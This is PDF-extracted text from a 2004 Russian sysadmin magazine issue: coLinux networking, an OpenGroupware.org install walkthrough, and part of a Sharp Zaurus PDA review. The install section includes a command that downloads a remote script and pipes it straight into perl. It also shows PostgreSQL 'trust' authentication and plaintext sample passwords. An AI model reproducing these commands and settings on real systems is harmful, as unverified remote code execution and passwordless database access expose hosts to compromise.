преобразования адресов. При использовании этого ме-ханизма внутренние компьютеры подключаются к Интер-нету через так называемый NAT-сервер, который пере-хватывает все обращения со стороны внутренних машини обращается к интернет-ресурсам от своего имени. По-лучив результаты запроса, он возвращает их тому кли-енту, который отправлял запрос. Реализация NAT-сер-вера в Windows XP называется ICS. ICS представляет со-бой примитивный (читай «ненастраиваемый») DHCP-сер-вер, распределяющий между клиентами IP-адреса из под-сети 192.168.0.х/24. Машина, на которой настроен ICS,выступает для остальных в качестве шлюза.

! Bridged. При использовании этого метода «вторая» ОС(в нашем случае – linux) получает доступ к внешнемусоединению, непосредственно используя реальный се-тевой интерфейс компьютера. В нашем случае для это-го используется специальный драйвер – WinPCap.

Схематично взаимодействие в режиме NAT с использо-ванием ICS можно представить так:

При этом большая часть действий по настройке сетипроизводится автоматически. Единственное, что нам нуж-но сделать, это включить ICS в настройках сети и пропи-сать режим tap в конфигурационном файле coLinux. Всеостальное за нас сделает ICS.

В bridged-варианте вместо TAP-драйвера используетсябиблиотека WinPCap, позволяющая непосредственно рабо-тать с сетевым адаптером. Схема взаимодействия имеет вид:

При использовании этого способа никакая дополнитель-ная конфигурация со стороны ОС Windows не требуется,достаточно просто установить драйвер WinpCap. Со сторо-ны coLinux все стандартно – нужно задать IP-адрес (марш-рутизируемый), шлюз по умолчанию и адрес DNS-сервера.Кроме того, в разделе <network> конфигурационного xml-файла необходимо указать следующее:

Здесь, в поле name, указывается подстрока из назва-ния сетевого адаптера. Новые настройки сети будут при-менены после перезапуска coLinux.

При выборе того или иного способа взаимодействиянеобходимо учитывать следующий момент: при работе ссетевым интерфейсом напрямую (без ICS), «гостевой ОС»понадобится дополнительный маршрутизируемый IP-адрес.Ведь фактически мы имеем схему, при которой на одноймашине используется несколько различных IP-адресов. Вслучае же использования ICS нашей машине для связи свнешним миром достаточно одного маршрутизируемого IP-адреса, уже имеющегося у компьютера. «Гостевая ОС»автоматически попадает в сеть из private subspace, а взаи-модействие организуется с помощью средств ICS.

Основные команды системы Portage

Более подробную информацию по работе с системойportage можно найти по адресу: http://www.gentoo.org/doc/ru/portage-manual.xml.

<network index="0" type="bridged" name="Realtek"/>

Page 14: 023 Системный Администратор 10 2004

12

администрирование

Несмотря на замечания скептиков, операционная системаGNU/Linux смогла привлечь (и привлекает) на свою сторо-ну пользователей. Но если с установками на сервере илина домашнем компьютере ситуация более или менее опре-деленная и зависит не в последнюю очередь от подготовкии желания пользователя или администратора, то вот с при-менением этой системы на корпоративном уровне все нетак просто, как хотелось бы. И те администраторы, кото-рые рискнули сделать этот шаг, что скрывать, сталкивают-ся с проблемами. Недостаток информации, разнообразиепрограмм, интерфейсов, плохая и путающая пользовате-

лей локализация, – это далеко не полный список, с чемпридется столкнуться. Между тем в сообществе Open Sourceуже известно несколько проектов, цель которых заполнитьимеющийся вакуум и заменить приложения, привычные поWindows.

Система программного обеспечения коллективной ра-боты OpenGroupware.org (OGo) призвана конкурировать стакими известными продуктами, как Microsoft Exchange, IBMLotus Domino и Novell GroupWise. Проект не возник на ров-ном месте, основой послужил код одной из самых раннихтаких разработок под GNU/Linux – Skyrix 4.1 Groupware

OpenGroupware.org,ИЛИ ПОСЛЕДНИЙ КИРПИЧ В СТЕНЕ

СЕРГЕЙ ЯРЕМЧУК

Page 15: 023 Системный Администратор 10 2004

13№10(23), октябрь 2004

администрирование

Server, представленный немецкой компанией SkyrixSoftware AG, занимавшейся разработкой этого приложенияс 1996 года (до 2000 года он назывался LSOffice). Именнопоэтому с самого начала это был рабочий продукт, а не про-тотип. Буквально за один день после анонса сайт проектаhttp://www.opengroupware.org посетили более чем два мил-лиона посетителей. Схожесть названия (да и истории воз-никновения) с еще одним известным Open Source-проек-том – OpenOffice.org породила некоторую неразбериху. Насайте размещено примечание, что это хотя и дополняющиедруг друга, но все-таки отдельные сообщества. Кроме GNU/Linux, OGo в настоящее время портирован под BSD,GNUstep и MacOSX. Интерфейс полностью переведен наанглийский и немецкий, плюс ведутся разработки по лока-лизации на датский, испанский, итальянский, французский,голландский, корейский, турецкий, японский и китайский.К сожалению, русского в этом списке нет. Все данные хра-нятся в обычных текстовых файлах, рисунки хранятся в от-дельных файлах и используется Unicode, поэтому локали-зация не представляет серьезных проблем. Достаточно пе-ревести все параметры в файлах одного из подкаталогов /opt/opengroupware.org/Resources/ и настроить клиентов навывод в нужной кодировке. Дополнительно в помощь«Translation Project» представляет два скрипта, помогаю-щих в переводе интерфейса (рис. 1). Но, очевидно, не каж-дый будет этим заниматься, и OGo обретет у нас популяр-ность, после того как на него обратят внимание компании-разработчики ПО вроде ALTLinux.

Приложения, входящие в состав OGoДля доступа ко всем функциональным возможностям и дан-ным проект представляет открытые, основанные на XMLинтерфейсы и API. При этом все функции реализуются ввиде модулей, что позволяет расширять возможности помере необходимости. Поэтому состав приложений вполнеможет измениться, разработчики открыты для общения.

Итак:! Contact Management (менеджер контактов) – сохране-

ние и организация персональных и групповых контак-тов, с широкими возможностями по поиску и оптимиза-ции данных, с возможностью экспорта и удаленногодоступа.

! Group Calendar (календарь) – планирование событий какперсонально, так и для группы. Возможность добавле-ния примечаний, автоматическое обнаружение конфлик-тов, простая настройка повторяющихся событий.

! Resources Planner (планировщик ресурсов) – позволяетрационально планировать использование различногоимущества (автомобили, проекторы), помещений, с воз-можностью поиска свободных интервалов времени, ав-томатической проверкой конфликтов, посылки уведом-лений.

! Task Management (менеджер задач) – организация пер-сональных, групповых или специфических задач с воз-можностью их упорядочивания по приоритетам, дате, со-стоянию, выводом на персональной странице и уведом-лением по e-mail.

! E-Mail Client – предлагает удобную среду для обменаe-mail посредством прямого доступа к IMAP4 и POP3-серверам, с предоставлением большинства принятых вe-mail клиентах функциональных возможностей и им-портом данных в менеджер контактов.

! Projects and Documents (проекты и документы) – единаяцентрализованная среда, позволяющая использоватьфайлы и документы локально и удаленно группамипользователей или участниками отдельного проекта, свыдачей необходимых ссылок пользователям.

! News (новости) – доска объявлений, дает возможностьпубликовать необходимую информацию (правила ис-пользования, новости компании и пр.), плюс служит на-поминанием о текущих задачах и служит как персональ-ная страница.

! Palm Sync (синхронизация с Palm) – синхронизация дан-ных в устройствах Palm с приложениями OGo.

Плюс ко всему имеется легко перестраиваемый пользо-вательский интерфейс, а администратор получает возмож-ность удобного манипулирования пользовательскими и груп-повыми аккаунтами, и по настройке OGo. Клиентами OGoмогут выступать не только веб-браузеры, но некоторые по-пулярные утилиты вроде MS Outlook, kOrganizer, Mac OS/XFinder, Apple iCal.app, Ximian Evolution.

Надо отметить, что OGo далеко не единственный про-ект такого рода, реализованный под свободные ОС или име-ющие статус OpenSource. Поэтому стоит вкратце, справед-ливости ради, дать ссылки и на остальные решения. Темболее даже у некоторых из платных решений базовые вер-сии, большей частью свободны. Самый известный и доволь-но мощный продукт SUSE Linux Openexchange Server (http://www.suse.com/us/business/products/openexchange/index.html).Далее проект от разработчиков KDE и финансируемый пра-вительством Германии – Kroupware (http://www.kroupware.org,на момент написания статьи ссылка не работала), DeskNowMail and Collaboration server (http://www.desknow.com/index.html), HyperOffice (http://www.hyperoffice.co), проект,

Ðèñóíîê 1

Page 16: 023 Системный Администратор 10 2004

14

администрирование

основанный на zope и qmail Amphora (http://www.amphora.ee/eng), LinuXchangE (http://www.linuxchange.com), PHPGroupware(http://www.phpgroupware.org).

В OGo подкупает размах, зрелость и самое главное –свобода с использованием открытых технологий. Именноэти качества могут привести к тому, что OGo вполне воз-можно и станет номером один в этом списке.

УстановкаЕсли цель ваших исследований – ознакомление с этим про-дуктом, и имеется возможность скачать файл большогообъема, то лучшим и самым быстрым вариантом получитьработающую версию будет использование LiveCD, базиру-ющегося на Knoppix (http://www.opengroupware.org/knoppix/index.html). В этом случае можно носить его с собой длядемонстрации возможностей. В любом другом случае при-дется немного повозиться с установкой. Но в отличие отмногих других проектов, только начавших свой путь, уста-новка особых проблем вызвать не должна, и, имея некото-рый опыт общения с UNIX-системами, заставить работатьOGo, безусловно, можно. Дополнительно проект в после-днее время начал быстро обрастать HOWTO, в которыхобъясняется специфика установки для отдельного дистри-бутива и готовыми скриптами, автоматизирующими про-цесс. Но, если почитать всю доступную документацию, мож-но немного запутаться, т.к. авторы HOWTO подходят по-разному к самому процессу, а в предлагаемых скриптах ис-пользуются разные пути и переменные. К тому же в неко-торых документах указаны команды, в которых на данныймомент уже нет необходимости. Как пример rpm-пакеты рас-паковываются в /opt/opengroupware.org (исключение – не-давно появившиеся пакеты для SuSE 9.1 – /usr/local/share/opengroupware.org-1.0a) и /opt/skyrix/, Debian в /usr/lib/opengroupware.org, скрипты для Slackware устанавливаютвсе в каталог вида /opt/OGo-yyyymmdd/. Хотя если почитатьдокументацию годичной давности, то можно сделать вы-вод, что раньше возни было все-таки побольше. А поэтомупросто необходимо быть внимательным и для начала ис-пользовать официальную (т.е. общую) документацию.

Далее на странице закачки уже появились ссылки напрекомпилированные пакеты, собранные сторонними доб-ровольцами, все в основном под glibc 2.3. Если в дистрибу-тиве используется более ранняя версия этой библиотеки,попробуйте собрать из исходников или обновите glibs. Какисключение имеются пакеты для RedHat 7.3 (http://ftp.nakedape.cc/nakedape/rh73/rpm/opengroupware). Приведупример ручной конфигурации OGo для rpm-пакетов, испро-бованная на SuSE 9.1, RedHat 9, Linux XР и Mandrake 10,хотя сейчас доступен Perl скрипт Kelley Graham http://www.toasterz.com/ogo/add_remove_ogo.pl, который можетсделать большую часть работы за вас (wget -q -O – http://exchangekiller.com/install | perl и ./add_remove_ogo.pl install).

Итак, прекомпилированые пакеты доступны как по от-дельности, в этом случае нужно скачать все имеющиеlatest в названии или единым архивом, например, rpm-all-latest.tar.bz2.

Первым делом распаковываем архив:

В результате образуется подкаталог rpm, содержащий78 файлов, переходим в него:

Все в принципе не нужны, но какая разница.

В процессе система выдает сообщения о домашнемкаталоге утилиты и о создаваемых пользователях.

Далее конфигурирование PostgreSQL (подробности см.в статье Сергея Супрунова «PostgreSQL: первые шаги»,журнал «Системный администратор» № 7, 2004 г.).

Редактируем файл /var/lib/pgsql/data/pg_hba.conf:

Так советуют разработчики. Но в этом случае к базеданных получают доступ все локальные пользователи, апоэтому данную конфигурацию следует использовать толь-ко при отладке.

Далее стоит безопасности ради использовать конкрет-ного пользователя вроде:

А лучше еще и требовать пароль для доступа.

Да и в более ранних версиях (<=7.2) нужно использо-вать конструкцию с одним all.

Далее в файле /var/lib/pgsql/postgresql.conf должны бытьтакие строки.

Перезапускаем сервер:

local all all trusthost all all 127.0.0.1 255.255.255.255 trusthost all all 0.0.0.02 55.255.255.255 reject

host opengroupware skyrix 127.0.0.1 255.255.255.255 trust

host opengroupware skyrix 127.0.0.1 255.255.255.255 ↵↵↵↵↵passwd (èëè md5)

local all trust

# CONNECTIONS AND AUTHENTICATION#--------------------------------------------------------# - Connection Settings -

tcpip_socket = truemax_connections = 32port = 5432

# /etc/init.d/postgresql restart# tar -xzvf rpm-all-latest.tar.bz2

# cd rpm

# rpm -Uvh *.rpm

Running post installation in root '/opt/skyrix/system' ..

GNUstep root: /opt/skyrix/system

...

GNUstep Root: /opt/opengroupware.org

No 'skyrix' group available on the system, creating...

Using group ID '321'

Made a backup of the group file

in '/opt/opengroupware.org/backup/200409251027'

Created group 'skyrix'.

No 'opengroupware' user available on the system, creating...

Using user ID '56641'

Made a backup of the passwd/shadow file

in '/opt/opengroupware.org/backup/200409251027'

Created user 'opengroupware' with UID '56641'

Page 17: 023 Системный Администратор 10 2004

15№10(23), октябрь 2004

администрирование

Теперь создаем новую базу данных, таблицы, пользо-вателя.

Дело сделано, выходим.

Настала очередь Apache. Для начала необходимо уста-новить модуль, находящийся по адресу: http://www.opengroupware.org/sources/old-cvs-sources/opengroupware.org-mod_ngobjweb-latest.tar.gz.

Если установлен второй Apache, то, возможно, в фай-ле GNUmakefile придется исправить строку: HTTPD =$(APACHE)/sbin/httpd2.

Получаем модуль ngobjweb_x.x.xx.so, где х соответствуетверсии сервера. Копируем его, куда нам удобнее.

Следующим шагом редактируем /etc/apache2/httpd.conf.Здесь два варианта – занести все параметры в httpd.conf

или вынести все в отдельный файл и прописать путь к немустрокой вида Include /etc/apache2/ogo.conf. Поступайте, каквам удобней.

Перезапускаем сервер.

Запускаем OpenGroupware. При отладке полезно даватькоманды прямо из консоли, тогда сразу будут видны всеошибки.

Примечание в дистрибутивах, не использующих NTPL,последняя строка не нужна, в Fedora она будет иметь вид:export LD_ASSUME_KERNEL=2.4.19.

В первый раз система, скорее всего, не сможет найтитребуемые версии библиотек и выдаст ошибки. Поэтомудля начала нужно занести следующие строки в файл /etc/ld.so.conf (для rpm-версии, в остальных случаях изменитепуть), после чего даем команду ldconfig.

Для удовлетворения зависимостей в случае SuSE 9.1необходимо дать такие команды:

Если используется другой дистрибутив, то в сообщениибудет указана требуемая версия. Например:

А команда ls -al /usr/lib/lib* укажет на имеющуюся.Запускаем:

Shutting down PostgreSQL done

Starting PostgreSQL done

# su# cd /opt/opengroupware.org/Database/PostgreSQL# su postgres# createdb ogo

# createuser -A -D ogo

# psql ogo ogo

CREATE DATABASE

CREATE USER

Welcome to psql 7.4.2, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms

\h for help with SQL commands

\? for help on internal slash commands

\g or terminate with semicolon to execute query

\q to quit

ogo=> \i pg-build-schema.psql

ogo=> \q

# tar -zxvf opengroupware.org-mod_ngobjweb-latest.tar.gz# cd opengroupware.org-mod_ngobjweb

# make

# mkdir /opt/opengroupware.org/module# cp ngobjweb_2.0.40.so /opt/opengroupware.org/module

#OpenGroupware Apache Module config file.LoadModule ngobjweb_module ↵↵↵↵↵

/opt/opengroupware.org/module/ngobjweb_2.0.40.so<LocationMatch "^/OpenGroupware/*">

SetHandler ngobjweb-adaptorSetAppPort 20000

# SNSPort 127.0.0.1:20000</LocationMatch><Directory "/opt/opengroupware.org/WebServerResources">Order allow,deny

Allow from all</Directory>Alias /OpenGroupware.woa/WebServerResources ↵↵↵↵↵

/opt/opengroupware.org/WebServerResources# Exchange public folders URL<LocationMatch "^/zidestore/*">

SetHandler ngobjweb-adaptorSetAppPort 23000

</LocationMatch>Alias /zidestore/so/images /opt/opengroupware.org ↵↵↵↵↵

/WOApps/ZideStore.woa/WebServerResources# News AliasAlias /ArticleImages /opt/opengroupware.org/news

#su opengroupware# echo "source /opt/opengroupware.org ↵↵↵↵↵

/OpenGroupware.org.sh" >> ~/.bash_profile# echo "export LD_ASSUME_KERNEL=2.4.1" >> ~/.bash_profile

# /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵↵↵↵↵/linux-gnu/gnu-fd-nil/OpenGroupware ↵↵↵↵↵-WOHttpAllowHost localhost

/opt/opengroupware.org/Libraries/ix86/linux-gnu/gnu-fd-nil/opt/skyrix/system/Libraries/ix86/linux-gnu/gnu-fd-nil

# ln -s /usr/lib/libldap.so.199.3.4 /usr/lib/libldap.so.2# ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.0.9.6# ln -s /usr/lib/libcrypto.so.0.9.7 ↵↵↵↵↵

/usr/lib/libcrypto.so.0.9.6# ln -s /usr/lib/liblber.so.199.3.4 /usr/lib/liblber.so.2

/opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86/linux-gnu

/gnu-fd-nil/OpenGroupware: error while loading shared libraries:

liblber.so.2: cannot open shared object file:

No such file or directory

# /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵↵↵↵↵/linux-gnu/gnu-fd-nil/OpenGroupware -WOPort 20000 ↵↵↵↵↵-WOHttpAllowHost localhost ↵↵↵↵↵

#/etc/init.d/apache2 restartSyntax OK

Starting httpd2 (prefork) done

Page 18: 023 Системный Администратор 10 2004

16

администрирование

Для автоматического запуска лучше использовать init-скрипт. Ничего самому писать не надо, уже имеются гото-вые. Для RedHat смотрите на http://toasterz.com/ogo/docs/opengroupware, в пакете slack-all для Slackware тоже име-ется готовый скрипт, другие можно найти по адресу: http://helms-deep.cable.nu/~rwh/howtos/opengroupware, http://exchangekiller.com/docs/opengroupware (наиболее полный),http://helms-deep.cable.nu/~rwh/howtos/opengroupware2, http://mail.opengroupware.org/pipermail/users/2003-July/000427.html,http://www.toasterz.com/ogo/docs/run.conf. Выберите любойпонравившийся, только проверьте пути.

Запускаем.

Если теперь набрать в строке веб-браузера: http://localhost/OpenGroupware, то получите доступ как админис-тратор со всеми привилегиями без пароля (рис. 2), кото-рый тут же надо установить (Preferences →→→→→ Edit Password) исоздать остальных пользователей. Теперь при входе будетзапрашиваться логин и пароль.

Тонкая настройка параметров работы сервера OGo мо-жет производиться из командной строки при запуске, путем

ручного редактирования конфигурационных файлов илипри помощи команды Defaults. Для запуска последней вы-полняем от имени пользователя opengroupware команду:

(если она не занесена в файл ~/.bash_profile). Теперь мож-но работать, например, для просмотра установленных па-раметров используется опция read.

Параметр write установит указанный ключ, delete уда-лит значение. Например:

Настройка для работы с LDAP описана в документе«Active Directory Authentication Mini-HOWTO», интеграция стелефонными системами в «Telephony Integration with OGo»,которые доступны на сайте.

Средства обеспечения коллективной работы помогаютоптимизировать рабочее время сотрудников, позволяя луч-ше управлять свободным временем, распределять задачи,эффективней использовать информацию. Миру Open Sourceне хватало готового полноценного продукта. Теперь эта си-туация изменилась. Если почитать отзывы о тестированииOGo годичной давности, то несмотря на сырость програм-мы, отмечалось, что это готовый и, самое главное, своевре-менный продукт. За последнее время убраны некоторые ше-роховатости, намечены разработки на будущее, проект об-рос документацией, несколькими подпроектами и армиейпользователей. Возможно, кто-то предпочтет использоватьOpenGroupware.org вместо популярных сегодня платных иотнюдь не дешевых решений.

-OGoMinimumActiveSessionCount 0 -LSNewsImagesUrl ↵↵↵↵↵'/ArticleImages' -LSNewsImagesPath ↵↵↵↵↵/opt/opengroupware.org/news -LSConnectionDictionary ↵↵↵↵↵{databaseName = ogo; hostName = 127.0.0.1; ↵↵↵↵↵password = "qwerty"; port = 5432; userName = ogo} ↵↵↵↵↵-LSAdaptor PostgreSQL72 -LSModelName ↵↵↵↵↵OpenGroupware.org_PostgreSQL >> /var/log/ogo.log 2>&1 &

# /opt/opengroupware.org/WOApps/ZideStore.woa/ix86 ↵↵↵↵↵/linux-gnu/gnu-fd-nil/ZideStore -WOPort 23000 ↵↵↵↵↵-WOHttpAllowHost localhost -SxExplain YES ↵↵↵↵↵-WOCachingEnabled YES ↵↵↵↵↵-WOHttpTransactionUseSimpleParser YES ↵↵↵↵↵>> /var/log/ogo.log 2>&1 &

# Defaults write NSGlobalDomain LSConnectionDictionary ↵↵↵↵↵'{hostName=localhost; userName=ogo; ↵↵↵↵↵password="12345"; port=5432; databaseName=ogo}'

# Defaults write NSGlobalDomain NGBundlePath ↵↵↵↵↵"/opt/opengroupware.org/Library/OpenGroupware.org"

# Defaults write NSGlobalDomain LSAttachmentPath ↵↵↵↵↵/opt/opengroupware.org/documents

# Defaults read{

Defaults = {};NSGlobalDomain = {"skyrix_id" = server.com;LSAdaptor = PostgreSQL72;LSAttachmentPath = "/opt/opengroupware.org/documents";LSConnectionDictionary = {databaseName = ogo;hostName = localhost;password = "qwerty";port = 5432;

};LSModelName = "OpenGroupware.org_PostgreSQL";LSNewsImagesPath = "/opt/opengroupware.org/news";LSNewsImagesUrl = "/ArticleImages";Languages = (English

);NGBundlePath = "/opt/opengroupware.org/Library ↵↵↵↵↵

/OpenGroupware.org";TimeZoneName = GMT;XMLReader = libxmlSAXDriver;

};OpenGroupware = {};skyaptnotify = {AptNotifyFromAddress = "[email protected]";AptNotifySkyrixUser = root;AptNotifySkyrixPassword = khjds5d;

};}

# wget -v -N http://exchangekiller.com/docs/opengroupware# cp ./opengroupware /etc/init.d/# chmod u+x /etc/init.d/opengroupware# ln -s /etc/init.d/opengroupware ↵↵↵↵↵

/etc/init.d/rc3.d/S20opengroupware# ln -s /etc/init.d/opengroupware ↵↵↵↵↵

/etc/init.d/rc3.d/K20opengroupware# ln -s /etc/init.d/opengroupware ↵↵↵↵↵

/etc/init.d/rc5.d/S20opengroupware# ln -s /etc/init.d/opengroupware ↵↵↵↵↵

/etc/init.d/rc5.d/K20opengroupware

# /etc/init.d/opengroupware start

Ðèñóíîê 2

# source /opt/opengroupware.org/OpenGroupware.org.sh

Page 19: 023 Системный Администратор 10 2004

17№10(23), октябрь 2004

администрирование

За более чем пять лет общения с карманными компьюте-рами на платформах PalmOS и PocketPC я уже привык кмысли о том, что, хотя «карманник» и может значительнооблегчить повседневную работу системного администра-тора, но полноценно заменить ноутбук при диагностике иустранении неисправностей в работе сетей не в состоянии.В первую очередь это обусловлено «урезанностью» опера-ционной системы, заточенной под функции управления пер-сональной информацией (PIM), и ограниченной функцио-нальностью устройств ввода/вывода. Кроме того, сказыва-ется отсутствие развитого программного обеспечения, удов-летворяющего потребности системного администратора. Ихотя к трудностям работы с виртуальной клавиатурой мож-но привыкнуть, а число программ благодаря стараниям эн-тузиастов постоянно увеличивается, ни устройства на базеPocketPC, ни тем более устройства, работающие под уп-равлением PalmOS, не в состоянии выступать в роли удоб-ного и полноценного инструмента сисадмина. Некоторыйсвой опыт использования PocketPC в качестве инструмен-та IT-специалиста я обобщил в статье, с которой можно оз-накомиться по адресу: www.markelov.net/ppc1.html. Но и опе-рационка Microsoft вслед за PalmOS для меня осталась впрошлом.

Каким же видится мне идеальный карманный компью-тер, способный удовлетворить потребности IT-специалис-та? Ну, во-первых, хотелось бы иметь установленную опе-рационную систему с развитой поддержкой сети. Во-вто-рых, экран с разрешением не менее 640 на 480 точек и удоб-ную, но не большую клавиатуру для комфортной работы скомандной строкой. В-третьих, желательна возможность безпеределок исходного кода или с его минимальными пере-

делками пользоваться огромным накопленным фондом сво-бодного ПО для UNIX-подобных систем. Ну и наконец, в-четвертых, такой КПК не должен уступать в плане реали-зации своих прямых функций (органайзер, проигрываниемузыки и видео, игры и так далее) конкурентам из станаPalmOS и PocketPC.

Как оказалось, в реальности такое устройство «вполнеимеет место быть». Называется оно Sharp Zaurus SL-C860и работает под управлением специализированной версииLinux (рис. 1). При первой же возможности приобрести дан-ного «зверя» в личное пользование, я не преминул ею вос-пользоваться. А в данной статье хочу несколько обобщитьопыт его эксплуатации.

Аппаратное обеспечениеНачну описание с аппаратной части, дабы стали понятныобъективные ограничения, с которыми столкнется линук-соид, севший за клавиатуру Zaurus. Хотя в случае с кар-манным компьютером правильнее было бы сказать «взяв-шего в руки» клавиатуру – при работе с «карманником» навесу вы держите его именно за нижнюю часть, на которойи расположена клавиатура.

«Железо» вполне соответствует сегодняшним стандар-там для КПК. На борту машинки установлен процессор IntelXScale PXA 255, работающий с тактовой частотой в 400 МГц.Память делится на ОЗУ, объемом в 64 Мб и энергонезави-симую Flash-память, играющую роль ПЗУ и «винчестера»одновременно. Диагональ экрана равняется 3,7". Как я ужеписал, разрешение матрицы дисплея 640 на 480 точек, ачисло отображаемых цветов равняется 65 тысячам. Говоряоб экране, нельзя не упомянуть возможность последнего

АНДРЕЙ МАРКЕЛОВ

ИДЕАЛЬНЫЙ КАРМАННЫЙ КОМПЬЮТЕРДЛЯ СИСТЕМНОГО АДМИНИСТРАТОРАЧАСТЬ 1

Ðèñóíîê 1. ÊÏÊ Zaurus

Ðèñóíîê 2. Ïîõîäíûé íàáîð ñèñàäìèíà. ÊÏÊ, Wi-Fi-êàðòàD-Link DCF-660W è Ethernet-êàðòà TRENDnet TE-CF100

Page 20: 023 Системный Администратор 10 2004

18

администрирование

поворачиваться, и складываться поверх клавиатуры. Приэтом «клавиатурник» превращается в безклавиатурнуюмашинку, что достаточно удобно, например, в метро дляпросмотра фильмов и для чтения электронных книг. Име-ются разъемы для подключения карт расширения стандар-тов Compact Flash type I,II и SD/SDC/MMC. Первый разъемможно использовать для оснащения вашего КПК сетевойили Wi-Fi-карточкой, а второй – для расширения памяти ус-тройства. К персональному компьютеру Zaurus подключа-ется посредством USB-шнура. Также присутствует ИК-порт.Вес устройства – 250 грамм.

Теперь несколько слов о клавиатуре. На Zaurus она уди-вительно удобная для своих небольших размеров, и обес-печивает вполне комфортную работу. Достаточно сказать,что эту статью я набирал и редактировал именно на Zaurus,в среде встроенного текстового редактора Hancom MobileWord. Конечно, ограниченное число кнопок клавиатуры, аименно 59, заставило разработчиков софта «навесить» понесколько символов на каждую клавишу. С другой стороны,наверняка многие из читателей в свое время имели дело сзамечательным домашним компьютером ZX-Spectrum. Кла-виатура ZX-Spectrum и вовсе имела 48 кнопок, что нисколь-ко не мешало полноценной работе с этим ПК.

Наконец после краткого знакомства с «начинкой» аппа-рата перейдем к основной части нашего обзора – описа-нию того, чем же кардинально выделяется данный карман-ный компьютер из числа конкурентов, а именно, программ-ной части.

Особенности Linux на ZaurusГоворя о Linux на Zaurus, «завроводы» обычно указываютверсию прошивки ROM. Пользователь может самостоятель-но обновлять и модифицировать операционную систему,находящуюся во flash-памяти, поэтому в настоящее времяполучили распространение несколько версий ROM для КПК.Большинство из них работает под управлением графичес-кого интерфейса Qtopia разработки Trolltech.

Во-первых, это оригинальная версия прошивки от Sharpна японском языке, которая по понятным причинам не по-лучила распространения ни в России, ни в англоязычныхстранах.

Во-вторых, это разрабатываемая на основе оригиналь-ной версии «англофицированная» прошивка Cacko ROM,которая вполне корректно работает с русским языком вслед-ствие русскоязычности некоторых членов Cacko Team. Дан-ную прошивку можно скачать в Интернете бесплатно.

В-третьих, – платный вариант немного устаревшей вер-сии предыдущего ROM с русифицированным интерфейсом,распространяемый компанией «МакЦентр».

В-четвертых, платный англоязычный tkROM, о которомя не могу ничего сказать, кроме того, что он существует.

Ну и наконец – это ROM, в отличие от всех остальныхбазирующийся не на графическом интерфейсе Qtopia, а наадаптированной версии X Windows. Разрабатывается онкомандой Cacko и, как и их прошивка под Qtopia, абсолют-но бесплатен. С сайта Cacko Team можно также скачатьряд уже скомпилированного для Zaurus софта, в частно-сти, AbiWord, Fierfox, и другое ПО, перенесенное с «боль-шого» Linux. Сам я пока эту прошивку не пробовал, но как

только испытаю на личном опыте, постараюсь отразить впе-чатление от работы с ней на страницах журнала. По отзы-вам же в форумах эта версия ROM менее приспособлена кфункциям КПК, и пытается сделать из Zaurus подобие ма-ленького ноутбука.

В дальнейшем, говоря о функционировании и исполь-зовании карманного компьютера, я буду опираться на «Мак-центровскую» версию, которая мне досталась уже предус-тановленной на КПК.

Включив карманный компьютер, пользователь прями-ком попадает в графическую оболочку для мобильных ком-пьютеров Qtopia (версии 1.5.4). Интерфейс представлен ввиде нескольких закладок, содержащих иконки графичес-ких приложений. Нужно заметить, что после установки кон-сольных утилит иконки не добавляются – доступ к ним выполучите, только зайдя в консоль. По умолчанию присут-ствуют закладки: приложения, игры, мультимедиа, Интер-нет, PIM, настройки, файлы.

В разделе управления персональной информацией при-сутствуют приложения: адресная книга, дела и календарь,которые в целом по своему функционалу аналогичны соот-ветствующим приложениям для КПК на платформахPalmOS и Windows Mobile.

В разделе «Интернет» находятся две иконки: браузерOpera 7.0 и клиент электронной почты.

Ðèñóíîê 3. Ãðàôè÷åñêàÿ îáîëî÷êà

Ðèñóíîê 4. Áðàóçåð Opera

Page 21: 023 Системный Администратор 10 2004

19№10(23), октябрь 2004

администрирование

Вкладка «Мультимедиа» содержит проигрыватели му-зыки, видео и программу звукозаписи. «Из коробки» уста-новленный софт позволяет проигрывать видео в форматеDivX, а музыку в MP3.

Самое большое число программ вынесено на вкладку«Приложения». Простые редакторы текста и графики,калькулятор, иконка «Консоль», обеспечивающая доступк командной строке, просмотрщик презентаций, а такжедва достаточно продвинутых редактора HancomWord иHancomSheet, соответственно совместимые с MicrosoftWord и Excel по форматам файлов.

Оставшиеся две вкладки – это «Настройки» и «Файлы».На первую вынесены все опции управления КПК, в том чис-ле и оболочка для установки пакетов с дополнительнымпрограммным обеспечением. Вторая же представляет изсебя встроенный в Qtopia файловый менеджер, видящийфайлы, правда, только внутри домашней директории. Од-нако его можно «обмануть», создав симлинк на кореньфайловой системы внутри домашнего каталога.

Запустив из консоли команду uname -a (кстати, вы впол-не можете зайти на Zaurus через ssh, по умолчанию подня-том на КПК) мы получим следующий вывод:

С версией ядра ясно. Теперь разберемся с файловойсистемой. В её качестве используется jffs2 (включена вофициальное ядро Linux с версии 2.4.10), которая являетсяжурналируемой файловой системой, разработанной спе-циально для встраиваемых систем. Подробнее ознакомить-ся с информацией, касающейся jffs2, можно по ссылке насайте компании Red Hat (sources.redhat.com/jffs2), котораясобственно и разработала данную файловую систему, ос-новываясь на оригинальной jffs от Axis Communications AB.Помимо jffs2 в ядро Zaurus включена поддержка fat и ext3,которые можно использовать, например, при работе с кар-тами расширения памяти SD и CF.

Особенностью организации иерархической структурыфайловой системы является то, что некоторые каталоги, вчастности /etc, /usr/bin, /usr/lib, на самом деле не что иное,как символические ссылки на соответствующие каталогивнутри /home. Корневая же система монтируется в режиме

«только чтение», что сделано для придания наладонникунекоего запаса прочности и защиты от попыток ввода ре-курсивного rm на корневой системе. Правда, если ввестикоманду типа

у вас все же появится возможность испортить ФС. В каче-стве последнего «форпоста» имеются еще два запасныхраздела с еще одной «спасательной» минимальной корне-вой системой, и раздел, содержащий основное и запасноеядро Linux. При нормальной работе КПК эти два разделане смонтированы.

По умолчанию на Zaurus установлены Samba и SSH-сер-вера, которые упрощают взаимодействие КПК с настоль-ным компьютером. Кроме того, вы можете установить наZaurus сервер VNC и полностью управлять «карманником»по сети с персонального компьютера.

